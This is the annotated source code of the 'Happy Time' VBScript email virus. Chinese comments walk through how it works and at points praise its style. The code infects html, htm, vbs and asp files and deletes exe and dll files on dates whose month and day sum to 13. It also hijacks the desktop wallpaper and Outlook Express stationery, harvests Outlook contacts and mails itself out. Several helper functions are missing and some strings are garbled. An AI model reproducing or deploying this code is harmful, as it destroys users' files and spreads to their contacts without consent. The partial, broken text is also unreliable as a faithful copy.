‘*************** 歡樂時光 ***************
Rem I am sorry! happy time
On Error Resume Next
Mload
‘以上為病毒入口，并加上I am sorry! happy time的注釋，以表明此文件已被感染過。

Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")  
Set Oh = CreateObject("Shell.Application")
‘建立枚舉對象，避開了安全審核
If IsHTML Then
‘調用IsHtml函數，如果是Html，就小寫……      
  mURL = LCase(document.Location)
  If mPath = "" Then
    Os.Reset      
    Os.Path = "C:\Help.htm"
    Os.Doc = Lhtml()
Os.Write()
‘如果mPath為空，就在C盤下生成Help.htm
Ihtml = ""
‘超文本的內容，并指向C:\Help.Htm
    Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
  Else
    If Iv(mPath, "Help.vbs") Then
       setInterval "Rt()", 10000
    Else
       m = "hta"
       If LCase(m) = Right(mURL, Len(m)) Then
         id = setTimeout("mclose()", 1)
‘設置超時條件
         main
       Else      
         Os.Reset()
         Os.Path = mPath & "\" & "Help.hta"
         Os.Doc = Lhtml()
         Os.write()
         Iv mPath, "Help.hta"
‘生成Help.hta
       End If
    End If
  End If
Else
  Main
‘都不是，就執行main函數   
End If
End Sub

‘******************************************************************
‘以下為主函數，太長了！
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
‘不用說，創建FileSystemObject對象啦
Set Od = CreateObject("Scripting.Dictionary")
‘創建Dictionary對象, 用來保存數據鍵和項目對，它實際上是一個比較開放的數組
Od.Add "html", "1100"    
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
‘向Dictionary對象添加要感染的項目對
Ks = "HKEY_CURRENT_USER\Software\"
‘使用變量以減少代碼長度  
Ds = Grf()
Cs = Gsf()
If IsVbs Then
‘如果是VBS     
  If Of.FileExists("C:\help.htm") Then   
     Of.DeleteFile ("C:\help.htm")
‘如果c:\help.htm存在，就刪掉，消滅遺留的痕跡
  End If
  Key = CInt(Month(Date) + Day(Date))  
  If Key = 13 Then    
‘如果月與日之和為13（這也是它變種多的原因——將13改為其他數字即可）
    Od.RemoveAll
    Od.Add "exe", "0001"
    Od.Add "dll", "0001"
‘就清空Dictionary數組，并將exe、dll加入Dictionary 對象，以備刪除之用
  End If
  Cn = Rg(Ks & "Help\Count")   
‘讀注冊表中的HKEY_CURRENT_USER\Software\Help\Count鍵值
  If Cn = "" Then
Cn = 1
‘如果Count為0，就設為1
  End If
  Rw Ks & "Help\Count", Cn + 1   
‘添加HKEY_CURRENT_USER\Software\Help\Count鍵值，值為2
  f1 = Rg(Ks & "Help\FileName")   
‘再讀HKEY_CURRENT_USER\Software\Help\FileName鍵值
  f2 = FNext(Of, Od, f1)   
‘得到該文件的文件名
  fext = GetExt(Of, Od, f2)   
‘得到該文件擴展名的代號
  Rw Ks & "Help\FileName", f2   
‘添加鍵值
  If IsDel(fext) Then    
‘如果擴展名代號的第四個字符為1——即0001(exe、dll)
f3 = f2     
‘儲存文件名
f2 = FNext(Of, Od, f2)   
‘得到文件的文件名？
Rw Ks & "Help\FileName", f2   
‘寫注冊表
Of.DeleteFile f3    
‘刪除文件
  Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then 
‘如果不是集合中的文件
    Fw Of, f2, fext
    End If
  End If
  If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
‘使用 Cint函數強制執行轉換，并發郵件
      Tsend
    Else
      adds = Og
      Msend (adds)
    End If
  End If

wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
  If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
  ‘比較桌面墻紙是否已改變
  If wp = "" Then
      n1 = ""
      n3 = Cs & "\Help.htm"
    Else
      mP = Of.GetFile(wp).ParentFolder
      n1 = Of.GetFileName(wp)
      n2 = Of.GetBaseName(wp)
      n3 = Cs & "\" & n2 & ".htm"
    End If
    Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
‘創建超文本
    pfc.Write "<" & "HTML><" & "body bgcolor=‘#007f7f‘ background=‘" & n1 & "‘><
" & "/Body><" & "/HTML>" & mt
‘超文本的內容
    pfc.Close
    Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
‘將帶毒的超文本設置成活動桌面
  End If
Else
  Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
  fc.Write Sa("0100")
‘創建vbs文件
  fc.Close
  bf = Cs & "\Untitled.htm"
  Set fc2 = Of.CreateTextFile(bf, True)
  fc2.Write Lhtml
  fc2.Close
‘創建windows下的untitled.htm
  oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
  oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook E
  xpress\5.0\Mail"
  MSH = oe & "\Message Send HTML"
  CUS = oe & "\Compose Use Stationery"
  SN = oe & "\Stationery Name"
  Rw MSH, 1
  Rw CUS, 1
  Rw SN, bf
‘在Hkey_Current_User＼Identities＼{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}＼Software＼Microsoft＼Outlook Express＼5.0＼Mail下添加三個鍵值Message Send HTML 、Compose Use Stationery 和Stationery Name，前兩個的值為1，后一個指向windows\untitled.htm
  Web = Cs & "\WEB"
  Set gf = Of.GetFolder(Web).Files
‘得到windows\web文件夾里的文件
  Od.Add "htt", "1100"
‘向Dictionary里添加htt項目對
  For Each m In gf
‘遍歷windows\web下的每一個文件
fext = GetExt(Of, Od, m)
‘得到每個文件的擴展名
If fext <> "" Then
‘如果擴展名不為空，則
      Fw Of, m, fext
    End If
  Next
End If
End Sub


‘******************************************************************
Sub mclose()     
document.Write "<" & "title>I am sorry!‘寫入I am sorry,并關閉。以此作為感染與否的標記
window.Close
End Sub

‘******************************************************************
Sub Fw(Of, S, n)   
‘此時S為文件名，n為文件擴展名
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)  
‘只讀模式打開該文件
mt = fc.ReadAll    
‘讀入全部文件流
fc.Close    
‘關閉文件
If Not Sc(mt) Then   
‘如果未感染過
  mmail = Ml(mt)
  mt = Sa(n)
  Set fc2 = Of.OpenTextFile(S, 8)
‘打開文件并在文件末尾進行寫操作
  fc2.Write mt
  fc2.Close
  Msend (mmail)
‘發帶毒郵件
End If
End Sub

‘******************************************************************
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then  
‘如果讀入的文件流中有Rem I am sorry! happy time
  Sc = True    
Else
  Sc = False
‘表示已感染過，返回True,否則為False
End If
End Function

‘******************************************************************
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
‘初始化變量
If Of.FileExists(S) Then  
‘如果S存在于當前文件夾中
  fpath = Of.GetFile(S).ParentFolder
‘得到文件的父目錄名
  fname = S    
‘得到文件名
ElseIf Of.FolderExists(S) Then  
‘不存在于當前文件夾中，則得到目錄名
  fpath = S    
  T = True
Else
  fpath = Dnext(Of, "")   
‘得到當前盤符——即根目錄
End If
Do While True
  Set gf = Of.GetFolder(fpath).Files 
‘得到當前目錄下的所有文件對象
  For Each m In gf   
‘遍歷每個文件
    If T Then
      If GetExt(Of, Od, m) <> "" Then 
‘如果該文件是文件集合中的一員
        FNext = m   
‘則返回該文件名，供調用的函數或過程使用——感染或刪除之
      Exit Function
      End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then 
‘如果沒文件
      T = True
    End If
  Next
  fpath = Pnext(Of, fpath) ‘
Loop
End Function


‘******************************************************************
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then  
‘如果如果指定的文件夾存在
  Set gp = Of.GetFolder(S).SubFolders 
‘就得到子目錄數
  pn = gp.Count
  If pn = 0 Then   
‘如果沒子目錄
    Ppath = LCase(S)   ‘
Npath = LCase(Of.GetParentFolderName(S)) 
‘得到父目錄的小寫形式
    T = True
  Else
Npath = LCase(S)    
‘有子目錄，得到其小寫形式的集合 
  End If
  Do While Not Er   ‘ 
For Each pn In Of.GetFolder(Npath).SubFolders
‘得到子目錄下的子目錄
      If T Then
        If Ppath = LCase(pn) Then
          T = False
        End If
      Else
        Pnext = LCase(pn)
        Exit Function
      End If
    Next
    T = True
Ppath = LCase(Npath)
‘將字符串轉化成小寫
    Npath = Of.GetParentFolderName(Npath) ‘
If Of.GetFolder(Ppath).IsRootFolder Then 
‘如果是根目錄
      m = Of.GetDriveName(Ppath)  
‘就得到分區符
      Pnext = Dnext(Of, m)
      Exit Function
    End If
  Loop
End If
End Function

‘******************************************************************
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives 
‘得到所有的驅動器盤符
For Each d In dc 
‘遍歷每個驅動器
  If d.DriveType = 2 Or d.DriveType = 3 Then
‘如果是網絡盤或本地盤
    If T Then
      Dnext = d
      Exit Function
‘如果是False，就返回當前盤，并退出本函數
    Else
      If LCase(S) = LCase(d) Then 
‘如果是True且盤符相同，就令T為True
        T = True
      End If
      If m = "" Then  
‘如果m為空，就將盤符付給m
        m = d
      End If
    End If
  End If
Next
Dnext = m   
‘返回盤符
End Function


‘******************************************************************
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
‘返回該文件擴展名的小寫
GetExt = Od.Item(fext)   
‘返回Dictionary對象中指定的key對應的item——即0001(exe)等
End Function

‘******************************************************************
Sub Rw(k, v)    
‘寫注冊表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
‘創建對象
R.RegWrite k, v
End Sub

‘******************************************************************
Function Rg(v)    
‘讀注冊表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
‘創建對象
Rg = R.RegRead(v)
End Function

‘******************************************************************
Function IsVbs()   
‘此函數判斷是不是VBS文件
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then    
‘如果出錯，則不是VBS
  IsVbs = False
Else
  IsVbs = True
End If
End Function

‘******************************************************************
Function IsHTML()   
‘此函數判斷是不是Html文件
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
  IsHTML = False
‘如果出錯，則不是超文本
Else
  IsHTML = True
End If
End Function


‘******************************************************************
Function IsMail(S)
‘此函數判斷是不是郵件地址
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then  
‘返回vbCrLf在S中第一次出現的位置, vbCrLf是換行符
  m1 = InStr(S, "@")   
  m2 = InStr(S, ".")
  If m1 <> 0 And m1 < m2 Then  
‘如果有“@”符號且“@”在“."之前，則是郵件地址
    IsMail = True
  End If
End If
End Function

‘******************************************************************
Function Gsf()     
‘得到windows目錄
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
‘創建FileSystemObject對象
m = Of.GetSpecialFolder(0)
‘得到特殊目錄——Windows、System和Temp目錄
If Er Then     
‘如果失敗，返回C:\
  Gsf = "C:\"
Else      
‘若正常，則返回%Windows%
  Gsf = m
End If
End Function

‘******************************************************************
Function Lhtml()    
‘寫入超文本的內容，其中vbCrLf是換行符
Lhtml = "<" & "HTML" & ">"<" & "Title> Help "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body>End Function

‘******************************************************************
Function Lscript(S)    
‘寫入vbscript的聲明
Lscript = "<" & "script language=‘VBScript‘>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function

‘******************************************************************
Function Sl(S1, S2, n)   
Dim l1, l2, l3, i
l1 = Len(S1)   
‘得到文件流的長度
l2 = Len(S2)   
‘得到mailto:的長度
i = InStr(S1, S2)  
‘在文件流中查找mailto:第一次出現的位置——值為一個數
If i > 0 Then   
‘找到則進行字符串操作
  l3 = i + l2 - 1
  If n = 0 Then
    Sl = Left(S1, i - 1)
  ElseIf n = 1 Then
    Sl = Right(S1, l1 - l3)
  End If
Else
 Sl = ""
End If
End Function


‘******************************************************************
Function Og()   
‘得到WAB（通訊簿）中的郵件地址
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
‘創建Outlook應用程序對象，Outlook和Outlook Express都跑不掉啦！
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
  m(i - 1) = Om.Item(i).Email1Address
得到每個WAB中的郵件地址
Next
Og = m
End Function

‘******************************************************************
Sub Tsend()   
‘發帶毒郵件
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
  MM.MsgIndex = i
  a = MM.MsgOrigAddress
  If Od.Item(a) = "" Then
    Od.Item(a) = MM.MsgSubject
  End If
Next
For Each m In Od.Keys
  MM.Compose
  MM.MsgSubject = "Fw: " & Od.Item(m)
‘設置郵件標題
  MM.RecipAddress = m
‘此郵件的當前的目標郵件地址
  MM.AttachmentPathName = Gsf & "\Untitled.htm"
‘添加附件Windows\Untitled.htm
  MM.Send
‘發送！
Next
MS.SignOff
End Sub

‘******************************************************************
Function Er()   
‘設置的錯誤陷阱，避免程序崩潰，嚴謹的風格值得學習
If Err.Number = 0 Then
  Er = False
Else
  Err.Clear
  Er = True
End If
End Function

‘******************************************************************
Function IsDel(S)  
‘此函數查看當前文件是否是要刪除的文件類型
If Mid(S, 4, 1) = 1 Then 
‘看S的第四個字符是否是1——即是0001(exe和dll)
 IsDel = True   
‘如是，返回True，以備刪除
Else
 IsDel = False   
‘如不是，返回False
End If
End Function
‘******************************************************************